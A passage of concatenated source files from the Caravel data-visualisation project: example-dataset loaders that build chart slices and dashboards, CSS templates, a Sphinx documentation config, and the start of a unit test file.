            params=textwrap.dedent("""\
            {
                "collapsed_fieldsets": "",
                "datasource_id": "3",
                "datasource_name": "energy_usage",
                "datasource_type": "table",
                "flt_col_0": "source",
                "flt_eq_0": "",
                "flt_op_0": "in",
                "groupby": [
                    "source",
                    "target"
                ],
                "having": "",
                "metric": "sum__value",
                "row_limit": "5000",
                "slice_id": "",
                "slice_name": "Energy Sankey",
                "viz_type": "sankey",
                "where": ""
            }
            """))
    )

    merge_slice(
        Slice(
            slice_name="Energy Force Layout",
            viz_type='directed_force',
            datasource_type='table',
            table=tbl,
            params=textwrap.dedent("""\
            {
                "charge": "-500",
                "collapsed_fieldsets": "",
                "datasource_id": "1",
                "datasource_name": "energy_usage",
                "datasource_type": "table",
                "flt_col_0": "source",
                "flt_eq_0": "",
                "flt_op_0": "in",
                "groupby": [
                    "source",
                    "target"
                ],
                "having": "",
                "link_length": "200",
                "metric": "sum__value",
                "row_limit": "5000",
                "slice_id": "229",
                "slice_name": "Force",
                "viz_type": "directed_force",
                "where": ""
            }
            """))
    )
    merge_slice(
        Slice(
            slice_name="Heatmap",
            viz_type='heatmap',
            datasource_type='table',
            table=tbl,
            params=textwrap.dedent("""\
            {
                "all_columns_x": "source",
                "all_columns_y": "target",
                "canvas_image_rendering": "pixelated",
                "collapsed_fieldsets": "",
                "datasource_id": "1",
                "datasource_name": "energy_usage",
                "datasource_type": "table",
                "flt_col_0": "source",
                "flt_eq_0": "",
                "flt_op_0": "in",
                "having": "",
                "linear_color_scheme": "blue_white_yellow",
                "metric": "sum__value",
                "normalize_across": "heatmap",
                "slice_id": "229",
                "slice_name": "Heatmap",
                "viz_type": "heatmap",
                "where": "",
                "xscale_interval": "1",
                "yscale_interval": "1"
            }
            """))
    )


def load_world_bank_health_n_pop():
    """Loads the world bank health dataset, slices and a dashboard"""
    tbl_name = 'wb_health_population'
    with gzip.open(os.path.join(DATA_FOLDER, 'countries.json.gz')) as f:
        pdf = pd.read_json(f)
    pdf.columns = [col.replace('.', '_') for col in pdf.columns]
    pdf.year = pd.to_datetime(pdf.year)
    pdf.to_sql(
        tbl_name,
        db.engine,
        if_exists='replace',
        chunksize=500,
        dtype={
            'year': DateTime(),
            'country_code': String(3),
            'country_name': String(255),
            'region': String(255),
        },
        index=False)

    print("Creating table [wb_health_population] reference")
    tbl = db.session.query(TBL).filter_by(table_name=tbl_name).first()
    if not tbl:
        tbl = TBL(table_name=tbl_name)
    tbl.description = utils.readfile(os.path.join(DATA_FOLDER, 'countries.md'))
    tbl.main_dttm_col = 'year'
    tbl.is_featured = True
    tbl.database = get_or_create_db(db.session)
    db.session.merge(tbl)
    db.session.commit()
    tbl.fetch_metadata()

    defaults = {
        "compare_lag": "10",
        "compare_suffix": "o10Y",
        "datasource_id": "1",
        "datasource_name": "birth_names",
        "datasource_type": "table",
        "limit": "25",
        "granularity": "year",
        "groupby": [],
        "metric": 'sum__SP_POP_TOTL',
        "metrics": ["sum__SP_POP_TOTL"],
        "row_limit": config.get("ROW_LIMIT"),
        "since": "2014-01-01",
        "until": "2014-01-01",
        "where": "",
        "markup_type": "markdown",
        "country_fieldtype": "cca3",
        "secondary_metric": "sum__SP_POP_TOTL",
        "entity": "country_code",
        "show_bubbles": "y",
    }

    print("Creating slices")
    slices = [
        Slice(
            slice_name="Region Filter",
            viz_type='filter_box',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                viz_type='filter_box',
                groupby=['region', 'country_name'])),
        Slice(
            slice_name="World's Population",
            viz_type='big_number',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                since='2000',
                viz_type='big_number',
                compare_lag="10",
                metric='sum__SP_POP_TOTL',
                compare_suffix="over 10Y")),
        Slice(
            slice_name="Most Populated Countries",
            viz_type='table',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                viz_type='table',
                metrics=["sum__SP_POP_TOTL"],
                groupby=['country_name'])),
        Slice(
            slice_name="Growth Rate",
            viz_type='line',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                viz_type='line',
                since="1960-01-01",
                metrics=["sum__SP_POP_TOTL"],
                num_period_compare="10",
                groupby=['country_name'])),
        Slice(
            slice_name="% Rural",
            viz_type='world_map',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                viz_type='world_map',
                metric="sum__SP_RUR_TOTL_ZS",
                num_period_compare="10")),
        Slice(
            slice_name="Life Expectancy VS Rural %",
            viz_type='bubble',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                viz_type='bubble',
                since="2011-01-01",
                until="2011-01-01",
                series="region",
                limit="0",
                entity="country_name",
                x="sum__SP_RUR_TOTL_ZS",
                y="sum__SP_DYN_LE00_IN",
                size="sum__SP_POP_TOTL",
                max_bubble_size="50",
                flt_col_1="country_code",
                flt_op_1="not in",
                flt_eq_1="TCA,MNP,DMA,MHL,MCO,SXM,CYM,TUV,IMY,KNA,ASM,ADO,AMA,PLW",
                num_period_compare="10",)),
        Slice(
            slice_name="Rural Breakdown",
            viz_type='sunburst',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                viz_type='sunburst',
                groupby=["region", "country_name"],
                secondary_metric="sum__SP_RUR_TOTL",
                since="2011-01-01",
                until="2011-01-01",)),
        Slice(
            slice_name="World's Pop Growth",
            viz_type='area',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                since="1960-01-01",
                until="now",
                viz_type='area',
                groupby=["region"],)),
        Slice(
            slice_name="Box plot",
            viz_type='box_plot',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                since="1960-01-01",
                until="now",
                whisker_options="Tukey",
                viz_type='box_plot',
                groupby=["region"],)),
        Slice(
            slice_name="Treemap",
            viz_type='treemap',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                since="1960-01-01",
                until="now",
                viz_type='treemap',
                metrics=["sum__SP_POP_TOTL"],
                groupby=["region", "country_code"],)),
        Slice(
            slice_name="Parallel Coordinates",
            viz_type='para',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                since="2011-01-01",
                until="2011-01-01",
                viz_type='para',
                limit=100,
                metrics=[
                    "sum__SP_POP_TOTL",
                    'sum__SP_RUR_TOTL_ZS',
                    'sum__SH_DYN_AIDS'],
                secondary_metric='sum__SP_POP_TOTL',
                series="country_name",)),
    ]
    for slc in slices:
        merge_slice(slc)

    print("Creating a World's Health Bank dashboard")
    dash_name = "World's Bank Data"
    slug = "world_health"
    dash = db.session.query(Dash).filter_by(slug=slug).first()

    if not dash:
        dash = Dash()
    js = textwrap.dedent("""\
    [
        {
            "col": 1,
            "row": 0,
            "size_x": 2,
            "size_y": 2,
            "slice_id": "1231"
        },
        {
            "col": 1,
            "row": 2,
            "size_x": 2,
            "size_y": 2,
            "slice_id": "1232"
        },
        {
            "col": 10,
            "row": 0,
            "size_x": 3,
            "size_y": 7,
            "slice_id": "1233"
        },
        {
            "col": 1,
            "row": 4,
            "size_x": 6,
            "size_y": 3,
            "slice_id": "1234"
        },
        {
            "col": 3,
            "row": 0,
            "size_x": 7,
            "size_y": 4,
            "slice_id": "1235"
        },
        {
            "col": 5,
            "row": 7,
            "size_x": 8,
            "size_y": 4,
            "slice_id": "1236"
        },
        {
            "col": 7,
            "row": 4,
            "size_x": 3,
            "size_y": 3,
            "slice_id": "1237"
        },
        {
            "col": 1,
            "row": 7,
            "size_x": 4,
            "size_y": 4,
            "slice_id": "1238"
        },
        {
            "col": 9,
            "row": 11,
            "size_x": 4,
            "size_y": 4,
            "slice_id": "1239"
        },
        {
            "col": 1,
            "row": 11,
            "size_x": 8,
            "size_y": 4,
            "slice_id": "1240"
        }
    ]
    """)
    l = json.loads(js)
    for i, pos in enumerate(l):
        pos['slice_id'] = str(slices[i].id)

    dash.dashboard_title = dash_name
    dash.position_json = json.dumps(l, indent=4)
    dash.slug = slug

    dash.slices = slices[:-1]
    db.session.merge(dash)
    db.session.commit()


def load_css_templates():
    """Loads 2 css templates to demonstrate the feature"""
    print('Creating default CSS templates')
    CSS = models.CssTemplate  # noqa

    obj = db.session.query(CSS).filter_by(template_name='Flat').first()
    if not obj:
        obj = CSS(template_name="Flat")
    css = textwrap.dedent("""\
    .gridster div.widget {
        transition: background-color 0.5s ease;
        background-color: #FAFAFA;
        border: 1px solid #CCC;
        box-shadow: none;
        border-radius: 0px;
    }
    .gridster div.widget:hover {
        border: 1px solid #000;
        background-color: #EAEAEA;
    }
    .navbar {
        transition: opacity 0.5s ease;
        opacity: 0.05;
    }
    .navbar:hover {
        opacity: 1;
    }
    .chart-header .header{
        font-weight: normal;
        font-size: 12px;
    }
    /*
    var bnbColors = [
        //rausch    hackb      kazan      babu      lima        beach     tirol
        '#ff5a5f', '#7b0051', '#007A87', '#00d1c1', '#8ce071', '#ffb400', '#b4a76c',
        '#ff8083', '#cc0086', '#00a1b3', '#00ffeb', '#bbedab', '#ffd266', '#cbc29a',
        '#ff3339', '#ff1ab1', '#005c66', '#00b3a5', '#55d12e', '#b37e00', '#988b4e',
     ];
    */
    """)
    obj.css = css
    db.session.merge(obj)
    db.session.commit()

    obj = (
        db.session.query(CSS).filter_by(template_name='Courier Black').first())
    if not obj:
        obj = CSS(template_name="Courier Black")
    css = textwrap.dedent("""\
    .gridster div.widget {
        transition: background-color 0.5s ease;
        background-color: #EEE;
        border: 2px solid #444;
        border-radius: 15px;
        box-shadow: none;
    }
    h2 {
        color: white;
        font-size: 52px;
    }
    .navbar {
        box-shadow: none;
    }
    .gridster div.widget:hover {
        border: 2px solid #000;
        background-color: #EAEAEA;
    }
    .navbar {
        transition: opacity 0.5s ease;
        opacity: 0.05;
    }
    .navbar:hover {
        opacity: 1;
    }
    .chart-header .header{
        font-weight: normal;
        font-size: 12px;
    }
    .nvd3 text {
        font-size: 12px;
        font-family: inherit;
    }
    body{
        background: #000;
        font-family: Courier, Monaco, monospace;;
    }
    /*
    var bnbColors = [
        //rausch    hackb      kazan      babu      lima        beach     tirol
        '#ff5a5f', '#7b0051', '#007A87', '#00d1c1', '#8ce071', '#ffb400', '#b4a76c',
        '#ff8083', '#cc0086', '#00a1b3', '#00ffeb', '#bbedab', '#ffd266', '#cbc29a',
        '#ff3339', '#ff1ab1', '#005c66', '#00b3a5', '#55d12e', '#b37e00', '#988b4e',
     ];
    */
    """)
    obj.css = css
    db.session.merge(obj)
    db.session.commit()


def load_birth_names():
    """Loading birth name dataset from a zip file in the repo"""
    with gzip.open(os.path.join(DATA_FOLDER, 'birth_names.json.gz')) as f:
        pdf = pd.read_json(f)
    pdf.ds = pd.to_datetime(pdf.ds, unit='ms')
    pdf.to_sql(
        'birth_names',
        db.engine,
        if_exists='replace',
        chunksize=500,
        dtype={
            'ds': DateTime,
            'gender': String(16),
            'state': String(10),
            'name': String(255),
        },
        index=False)
    l = []
    print("Done loading table!")
    print("-" * 80)

    print("Creating table [birth_names] reference")
    obj = db.session.query(TBL).filter_by(table_name='birth_names').first()
    if not obj:
        obj = TBL(table_name='birth_names')
    obj.main_dttm_col = 'ds'
    obj.database = get_or_create_db(db.session)
    obj.is_featured = True
    db.session.merge(obj)
    db.session.commit()
    obj.fetch_metadata()
    tbl = obj

    defaults = {
        "compare_lag": "10",
        "compare_suffix": "o10Y",
        "datasource_id": "1",
        "datasource_name": "birth_names",
        "datasource_type": "table",
        "flt_op_1": "in",
        "limit": "25",
        "granularity": "ds",
        "groupby": [],
        "metric": 'sum__num',
        "metrics": ["sum__num"],
        "row_limit": config.get("ROW_LIMIT"),
        "since": "100 years ago",
        "until": "now",
        "viz_type": "table",
        "where": "",
        "markup_type": "markdown",
    }

    print("Creating some slices")
    slices = [
        Slice(
            slice_name="Girls",
            viz_type='table',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                groupby=['name'],
                flt_col_1='gender',
                flt_eq_1="girl", row_limit=50)),
        Slice(
            slice_name="Boys",
            viz_type='table',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                groupby=['name'],
                flt_col_1='gender',
                flt_eq_1="boy",
                row_limit=50)),
        Slice(
            slice_name="Participants",
            viz_type='big_number',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                viz_type="big_number", granularity="ds",
                compare_lag="5", compare_suffix="over 5Y")),
        Slice(
            slice_name="Genders",
            viz_type='pie',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                viz_type="pie", groupby=['gender'])),
        Slice(
            slice_name="Genders by State",
            viz_type='dist_bar',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                flt_eq_1="other", viz_type="dist_bar",
                metrics=['sum__sum_girls', 'sum__sum_boys'],
                groupby=['state'], flt_op_1='not in', flt_col_1='state')),
        Slice(
            slice_name="Trends",
            viz_type='line',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                viz_type="line", groupby=['name'],
                granularity='ds', rich_tooltip='y', show_legend='y')),
        Slice(
            slice_name="Title",
            viz_type='markup',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                viz_type="markup", markup_type="html",
                code="""\
<div style="text-align:center">
    <h1>Birth Names Dashboard</h1>
    <p>
        The source dataset came from
        <a href="https://github.com/hadley/babynames">[here]</a>
    </p>
    <img src="/static/assets/images/babytux.jpg">
</div>
""")),
        Slice(
            slice_name="Name Cloud",
            viz_type='word_cloud',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                viz_type="word_cloud", size_from="10",
                series='name', size_to="70", rotation="square",
                limit='100')),
        Slice(
            slice_name="Pivot Table",
            viz_type='pivot_table',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                viz_type="pivot_table", metrics=['sum__num'],
                groupby=['name'], columns=['state'])),
        Slice(
            slice_name="Number of Girls",
            viz_type='big_number_total',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(
                defaults,
                viz_type="big_number_total", granularity="ds",
                flt_col_1='gender', flt_eq_1='girl',
                subheader='total female participants')),
    ]
    for slc in slices:
        merge_slice(slc)

    print("Creating a dashboard")
    dash = db.session.query(Dash).filter_by(dashboard_title="Births").first()

    if not dash:
        dash = Dash()
    js = textwrap.dedent("""\
    [
        {
            "col": 9,
            "row": 6,
            "size_x": 2,
            "size_y": 4,
            "slice_id": "1267"
        },
        {
            "col": 11,
            "row": 6,
            "size_x": 2,
            "size_y": 4,
            "slice_id": "1268"
        },
        {
            "col": 1,
            "row": 0,
            "size_x": 2,
            "size_y": 2,
            "slice_id": "1269"
        },
        {
            "col": 3,
            "row": 0,
            "size_x": 2,
            "size_y": 2,
            "slice_id": "1270"
        },
        {
            "col": 5,
            "row": 3,
            "size_x": 8,
            "size_y": 3,
            "slice_id": "1271"
        },
        {
            "col": 1,
            "row": 6,
            "size_x": 8,
            "size_y": 4,
            "slice_id": "1272"
        },
        {
            "col": 10,
            "row": 0,
            "size_x": 3,
            "size_y": 3,
            "slice_id": "1273"
        },
        {
            "col": 5,
            "row": 0,
            "size_x": 5,
            "size_y": 3,
            "slice_id": "1274"
        },
        {
            "col": 1,
            "row": 2,
            "size_x": 4,
            "size_y": 4,
            "slice_id": "1275"
        }
    ]
        """)
    l = json.loads(js)
    for i, pos in enumerate(l):
        pos['slice_id'] = str(slices[i].id)
    dash.dashboard_title = "Births"
    dash.position_json = json.dumps(l, indent=4)
    dash.slug = "births"
    dash.slices = slices[:-1]
    db.session.merge(dash)
    db.session.commit()


def load_unicode_test_data():
    """Loading unicode test dataset from a csv file in the repo"""
    df = pd.read_csv(os.path.join(DATA_FOLDER, 'unicode_utf8_unixnl_test.csv'),
                     encoding="utf-8")
    # generate date/numeric data
    df['date'] = datetime.datetime.now().date()
    df['value'] = [random.randint(1, 100) for _ in range(len(df))]
    df.to_sql(
        'unicode_test',
        db.engine,
        if_exists='replace',
        chunksize=500,
        dtype={
            'phrase': String(500),
            'short_phrase': String(10),
            'with_missing': String(100),
            'date': Date(),
            'value': Float(),
        },
        index=False)
    print("Done loading table!")
    print("-" * 80)

    print("Creating table [unicode_test] reference")
    obj = db.session.query(TBL).filter_by(table_name='unicode_test').first()
    if not obj:
        obj = TBL(table_name='unicode_test')
    obj.main_dttm_col = 'date'
    obj.database = get_or_create_db(db.session)
    obj.is_featured = False
    db.session.merge(obj)
    db.session.commit()
    obj.fetch_metadata()
    tbl = obj

    slice_data = {
        "datasource_id": "3",
        "datasource_name": "unicode_test",
        "datasource_type": "table",
        "flt_op_1": "in",
        "granularity": "date",
        "groupby": [],
        "metric": 'sum__value',
        "row_limit": config.get("ROW_LIMIT"),
        "since": "100 years ago",
        "until": "now",
        "where": "",
        "viz_type": "word_cloud",
        "size_from": "10",
        "series": "short_phrase",
        "size_to": "70",
        "rotation": "square",
        "limit": "100",
    }

    print("Creating a slice")
    slc = Slice(
        slice_name="Unicode Cloud",
        viz_type='word_cloud',
        datasource_type='table',
        table=tbl,
        params=get_slice_json(slice_data),
    )
    merge_slice(slc)

    print("Creating a dashboard")
    dash = db.session.query(Dash).filter_by(dashboard_title="Unicode Test").first()

    if not dash:
        dash = Dash()
    pos = {
        "size_y": 4,
        "size_x": 4,
        "col": 1,
        "row": 1,
        "slice_id": slc.id,
    }
    dash.dashboard_title = "Unicode Test"
    dash.position_json = json.dumps([pos], indent=4)
    dash.slug = "unicode-test"
    dash.slices = [slc]
    db.session.merge(dash)
    db.session.commit()


def load_random_time_series_data():
    """Loading random time series data from a zip file in the repo"""
    with gzip.open(os.path.join(DATA_FOLDER, 'random_time_series.json.gz')) as f:
        pdf = pd.read_json(f)
    pdf.ds = pd.to_datetime(pdf.ds, unit='s')
    pdf.to_sql(
        'random_time_series',
        db.engine,
        if_exists='replace',
        chunksize=500,
        dtype={
            'ds': DateTime,
        },
        index=False)
    print("Done loading table!")
    print("-" * 80)

    print("Creating table [random_time_series] reference")
    obj = db.session.query(TBL).filter_by(table_name='random_time_series').first()
    if not obj:
        obj = TBL(table_name='random_time_series')
    obj.main_dttm_col = 'ds'
    obj.database = get_or_create_db(db.session)
    obj.is_featured = False
    db.session.merge(obj)
    db.session.commit()
    obj.fetch_metadata()
    tbl = obj

    slice_data = {
        "datasource_id": "6",
        "datasource_name": "random_time_series",
        "datasource_type": "table",
        "granularity": "day",
        "row_limit": config.get("ROW_LIMIT"),
        "since": "1 year ago",
        "until": "now",
        "where": "",
        "viz_type": "cal_heatmap",
        "domain_granularity": "month",
        "subdomain_granularity": "day",
    }

    print("Creating a slice")
    slc = Slice(
        slice_name="Calendar Heatmap",
        viz_type='cal_heatmap',
        datasource_type='table',
        table=tbl,
        params=get_slice_json(slice_data),
    )
    merge_slice(slc)


def load_long_lat_data():
    """Loading lat/long data from a csv file in the repo"""
    with gzip.open(os.path.join(DATA_FOLDER, 'san_francisco.csv.gz')) as f:
        pdf = pd.read_csv(f, encoding="utf-8")
    pdf['date'] = datetime.datetime.now().date()
    pdf['occupancy'] = [random.randint(1, 6) for _ in range(len(pdf))]
    pdf['radius_miles'] = [random.uniform(1, 3) for _ in range(len(pdf))]
    pdf.to_sql(
        'long_lat',
        db.engine,
        if_exists='replace',
        chunksize=500,
        dtype={
            'longitude': Float(),
            'latitude': Float(),
            'number': Float(),
            'street': String(100),
            'unit': String(10),
            'city': String(50),
            'district': String(50),
            'region': String(50),
            'postcode': Float(),
            'id': String(100),
            'date': Date(),
            'occupancy': Float(),
            'radius_miles': Float(),
        },
        index=False)
    print("Done loading table!")
    print("-" * 80)

    print("Creating table reference")
    obj = db.session.query(TBL).filter_by(table_name='long_lat').first()
    if not obj:
        obj = TBL(table_name='long_lat')
    obj.main_dttm_col = 'date'
    obj.database = get_or_create_db(db.session)
    obj.is_featured = False
    db.session.merge(obj)
    db.session.commit()
    obj.fetch_metadata()
    tbl = obj

    slice_data = {
        "datasource_id": "7",
        "datasource_name": "long_lat",
        "datasource_type": "table",
        "granularity": "day",
        "since": "2014-01-01",
        "until": "2016-12-12",
        "where": "",
        "viz_type": "mapbox",
        "all_columns_x": "LON",
        "all_columns_y": "LAT",
        "mapbox_style": "mapbox://styles/mapbox/light-v9",
        "all_columns": ["occupancy"],
        "row_limit": 500000,
    }

    print("Creating a slice")
    slc = Slice(
        slice_name="Mapbox Long/Lat",
        viz_type='mapbox',
        datasource_type='table',
        table=tbl,
        params=get_slice_json(slice_data),
    )
    merge_slice(slc)


def load_multiformat_time_series_data():

    """Loading time series data from a zip file in the repo"""
    with gzip.open(os.path.join(DATA_FOLDER, 'multiformat_time_series.json.gz')) as f:
        pdf = pd.read_json(f)
    pdf.ds = pd.to_datetime(pdf.ds, unit='s')
    pdf.ds2 = pd.to_datetime(pdf.ds2, unit='s')
    pdf.to_sql(
        'multiformat_time_series',
        db.engine,
        if_exists='replace',
        chunksize=500,
        dtype={
            "ds": Date,
            'ds2': DateTime,
            "epoch_s": BigInteger,
            "epoch_ms": BigInteger,
            "string0": String(100),
            "string1": String(100),
            "string2": String(100),
            "string3": String(100),
        },
        index=False)
    print("Done loading table!")
    print("-" * 80)
    print("Creating table [multiformat_time_series] reference")
    obj = db.session.query(TBL).filter_by(table_name='multiformat_time_series').first()
    if not obj:
        obj = TBL(table_name='multiformat_time_series')
    obj.main_dttm_col = 'ds'
    obj.database = get_or_create_db(db.session)
    obj.is_featured = False
    dttm_and_expr_dict = {
        'ds': [None, None],
        'ds2': [None, None],
        'epoch_s': ['epoch_s', None],
        'epoch_ms': ['epoch_ms', None],
        'string2': ['%Y%m%d-%H%M%S', None],
        'string1': ['%Y-%m-%d^%H:%M:%S', None],
        'string0': ['%Y-%m-%d %H:%M:%S.%f', None],
        'string3': ['%Y/%m/%d%H:%M:%S.%f', None],
    }
    for col in obj.table_columns:
        dttm_and_expr = dttm_and_expr_dict[col.column_name]
        col.python_date_format = dttm_and_expr[0]
        col.dbatabase_expr = dttm_and_expr[1]
        col.is_dttm = True
    db.session.merge(obj)
    db.session.commit()
    obj.fetch_metadata()
    tbl = obj

    print("Creating some slices")
    for i, col in enumerate(tbl.table_columns):
        slice_data = {
            "granularity_sqla": col.column_name,
            "datasource_id": "8",
            "datasource_name": "multiformat_time_series",
            "datasource_type": "table",
            "granularity": "day",
            "row_limit": config.get("ROW_LIMIT"),
            "since": "1 year ago",
            "until": "now",
            "where": "",
            "viz_type": "cal_heatmap",
            "domain_granularity": "month",
            "subdomain_granularity": "day",
        }

        slc = Slice(
            slice_name="Calendar Heatmap multiformat" + str(i),
            viz_type='cal_heatmap',
            datasource_type='table',
            table=tbl,
            params=get_slice_json(slice_data),
        )
        merge_slice(slc)












# -*- coding: utf-8 -*-
#
# caravel documentation build configuration file, created by
# sphinx-quickstart on Thu Dec 17 15:42:06 2015.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

import sys
import os
import shlex
import sphinx_bootstrap_theme

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#sys.path.insert(0, os.path.abspath('.'))

# -- General configuration ------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
    'sphinx.ext.autodoc',
    'sphinx.ext.viewcode',
    'sphinxcontrib.youtube',
]

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'

# The encoding of source files.
#source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = u'caravel'
copyright = u'2015, Maxime Beauchemin, Airbnb'
author = u'Maxime Beauchemin'

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
#version = u'1.0'
# The full version, including alpha/beta/rc tags.
#release = u'1.0'

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']

# The reST default role (used for this markup: `text`) to use for all
# documents.
#default_role = None

# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'

# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []

# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False

# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = False


# -- Options for HTML output ----------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.
html_theme = 'bootstrap'
html_theme_path = sphinx_bootstrap_theme.get_html_theme_path()

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
html_theme_options = {
    # 'bootswatch_theme': 'cosmo',
    'navbar_title': 'Caravel Documentation',
    'navbar_fixed_top': "false",
    'navbar_sidebarrel': False,
    'navbar_site_name': "Topics",
    #'navbar_class': "navbar navbar-left",
}

# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
#html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
#html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}

# If false, no module index is generated.
#html_domain_indices = True

# If false, no index is generated.
#html_use_index = True

# If true, the index is split into individual pages for each letter.
#html_split_index = False

# If true, links to the reST sources are added to the pages.
html_show_sourcelink = False

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
html_show_copyright = False

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''

# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None

# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
#   'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'
#   'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'
#html_search_language = 'en'

# A dictionary with options for the search language support, empty by default.
# Now only 'ja' uses this config value
#html_search_options = {'type': 'default'}

# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
#html_search_scorer = 'scorer.js'

# Output file base name for HTML help builder.
htmlhelp_basename = 'caraveldoc'

# -- Options for LaTeX output ---------------------------------------------

latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#'papersize': 'letterpaper',

# The font size ('10pt', '11pt' or '12pt').
#'pointsize': '10pt',

# Additional stuff for the LaTeX preamble.
#'preamble': '',

# Latex figure (float) alignment
#'figure_align': 'htbp',
}

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
#  author, documentclass [howto, manual, or own class]).
latex_documents = [
  (master_doc, 'caravel.tex', u'Caravel Documentation',
   u'Maxime Beauchemin', 'manual'),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False

# If true, show page references after internal links.
#latex_show_pagerefs = False

# If true, show URL addresses after external links.
#latex_show_urls = False

# Documents to append as an appendix to all manuals.
#latex_appendices = []

# If false, no module index is generated.
#latex_domain_indices = True


# -- Options for manual page output ---------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    (master_doc, 'Caravel', u'caravel Documentation',
     [author], 1)
]

# If true, show URL addresses after external links.
#man_show_urls = False


# -- Options for Texinfo output -------------------------------------------

# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
#  dir menu entry, description, category)
texinfo_documents = [
  (master_doc, 'Caravel', u'Caravel Documentation',
   author, 'Caravel', 'One line description of project.',
   'Miscellaneous'),
]

# Documents to append as an appendix to all manuals.
#texinfo_appendices = []

# If false, no module index is generated.
#texinfo_domain_indices = True

# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'

# If true, do not generate a @detailmenu in the "Top" node's menu.
#texinfo_no_detailmenu = False






from datetime import datetime, date, timedelta
from caravel import utils
import unittest


class UtilsTestCase(unittest.TestCase):
